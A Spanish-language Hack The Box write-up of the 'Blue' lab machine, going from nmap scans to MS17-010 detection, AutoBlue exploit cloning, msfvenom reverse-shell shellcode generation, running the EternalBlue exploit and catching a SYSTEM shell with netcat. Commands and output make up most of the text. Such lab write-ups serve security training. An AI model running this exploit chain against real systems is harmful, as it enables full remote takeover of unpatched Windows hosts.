Hack The Box Blue
Blue
Se procede con la fase de reconocimiento lanzando primeramente un ping a la dirección IP 10.10.10.40.
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❯ ping -c 1 10.10.10.40
PING 10.10.10.40 (10.10.10.40) 56(84) bytes of data.
64 bytes from 10.10.10.40: icmp_seq=1 ttl=127 time=144 ms
--- 10.10.10.40 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 144.246/144.246/144.246/0.000 ms
De acuerdo con el TTL de traza ICMP, se puede determinar que se trata de una máquina con sistema operativo Windows. A continuación se procede con la ejecución de nmap para determinar los puertos abiertos de la máquina y exportanto la información al archivo allPorts.
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❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.40 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-16 21:40 CDT
Initiating SYN Stealth Scan at 21:40
Scanning 10.10.10.40 [65535 ports]
Discovered open port 135/tcp on 10.10.10.40
Discovered open port 445/tcp on 10.10.10.40
Discovered open port 139/tcp on 10.10.10.40
Discovered open port 49152/tcp on 10.10.10.40
Discovered open port 49153/tcp on 10.10.10.40
Discovered open port 49157/tcp on 10.10.10.40
Discovered open port 49155/tcp on 10.10.10.40
Discovered open port 49156/tcp on 10.10.10.40
Discovered open port 49154/tcp on 10.10.10.40
Completed SYN Stealth Scan at 21:41, 30.60s elapsed (65535 total ports)
Nmap scan report for 10.10.10.40
Host is up, received user-set (0.21s latency).
Scanned at 2021-09-16 21:40:49 CDT for 30s
Not shown: 63970 closed tcp ports (reset), 1556 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
49152/tcp open unknown syn-ack ttl 127
49153/tcp open unknown syn-ack ttl 127
49154/tcp open unknown syn-ack ttl 127
49155/tcp open unknown syn-ack ttl 127
49156/tcp open unknown syn-ack ttl 127
49157/tcp open unknown syn-ack ttl 127
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 30.98 seconds
Raw packets sent: 150431 (6.619MB) | Rcvd: 75540 (3.022MB)
Mediante la función extractPorts definida a nivel de zsh , se obtiene la información más relevante de la captura grepeable.
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❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.10.40
5 │ [*] Open ports: 135,139,445,49152,49153,49154,49155,49156,49157
6 │
7 │ [*] Ports copied to clipboard
A continuación se lanza una serie de scripts para determinar el servicio y versión que corren para los puertos detectados.
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❯ nmap -sC -sV -p135,139,445,49152,49153,49154,49155,49156,49157 10.10.10.40 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-16 21:42 CDT
Nmap scan report for 10.10.10.40
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2021-09-17T02:48:03
|_ start_date: 2021-09-17T02:42:45
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2021-09-17T03:48:01+01:00
|_clock-skew: mean: -15m13s, deviation: 34m37s, median: 4m45s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.70 seconds
Observamos que se encuentra abierto el puerto 445 asociado al servicio de SMB; por lo que podríamos tirar un escaneo “vuln and safe” sobre nmap para determinar si puede ser vulnerable al Eternal Blue:
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❯ nmap --script "vuln and safe" -p445 10.10.10.40 -oN smbScan
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-16 21:46 CDT
Nmap scan report for 10.10.10.40
Host is up (0.14s latency).
PORT STATE SERVICE
445/tcp open microsoft-ds
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_ https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Nmap done: 1 IP address (1 host up) scanned in 4.46 seconds
De acuerdo con los resultados observados, vemos que es vulnerable al ms17-010 y además sabemos que la máquina tiene Windows 7 Professional 7601 Service Pack 1; entonces ya sabemos que descargamos el exploit correspondiente.
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❯ git clone https://github.com/3ndG4me/AutoBlue-MS17-010
Clonando en 'AutoBlue-MS17-010'...
remote: Enumerating objects: 126, done.
remote: Counting objects: 100% (50/50), done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 126 (delta 40), reused 35 (delta 35), pack-reused 76
Recibiendo objetos: 100% (126/126), 94.22 KiB | 1015.00 KiB/s, listo.
Resolviendo deltas: 100% (74/74), listo.
Una vez descargado, ingresamos a la ruta AutoBlue-MS17-010/shellcode para generar el shellcode correspondiente mediante la ejecucion del archivo shell_prep.sh e ingresamos los datos que nos va solicitando:
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❯ ./shell_prep.sh
_.-;;-._
'-..-'| || |
'-..-'|_.-;;-._|
'-..-'| || |
'-..-'|_.-''-._|
Eternal Blue Windows Shellcode Compiler
Let's compile them windoos shellcodezzz
Compiling x64 kernel shellcode
Compiling x86 kernel shellcode
kernel shellcode compiled, would you like to auto generate a reverse shell with msfvenom? (Y/n)
y
LHOST for reverse connection:
10.10.14.2
LPORT you want x64 to listen on:
443
LPORT you want x86 to listen on:
4443
Type 0 to generate a meterpreter shell or 1 to generate a regular cmd shell
1
Type 0 to generate a staged payload or 1 to generate a stageless payload
1
Generating x64 cmd shell (stageless)...
msfvenom -p windows/x64/shell_reverse_tcp -f raw -o sc_x64_msf.bin EXITFUNC=thread LHOST=10.10.14.2 LPORT=443
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Saved as: sc_x64_msf.bin
Generating x86 cmd shell (stageless)...
msfvenom -p windows/shell_reverse_tcp -f raw -o sc_x86_msf.bin EXITFUNC=thread LHOST=10.10.14.2 LPORT=4443
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Saved as: sc_x86_msf.bin
MERGING SHELLCODE WOOOO!!!
DONE
Ahora dentro del directorio AutoBlue-MS17-010/ ejecutamos el programa eternalblue_exploit7.py pasandole de argumentos la dirección IP víctima 10.10.10.40 y el shellcode shellcode/sc_x64.bin:
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❯ python2 eternalblue_exploit7.py 10.10.10.40 shellcode/sc_x64.bin
shellcode size: 1232
numGroomConn: 13
Target OS: Windows 7 Professional 7601 Service Pack 1
SMB1 session setup allocate nonpaged pool success
SMB1 session setup allocate nonpaged pool success
good response status: INVALID_PARAMETER
done
Al mismo tiempo, nos ponemos en escucha por el puerto 443 y esperamos que se establezca la conexión:
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❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.40] 49158
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
whoami
whoami
nt authority\system
C:\Windows\system32>
A este punto ya ingresamos a la máquina como nt authority\system y podemos visualizar las flags (user.txt y root.txt).
This post is licensed under CC BY 4.0 by the author.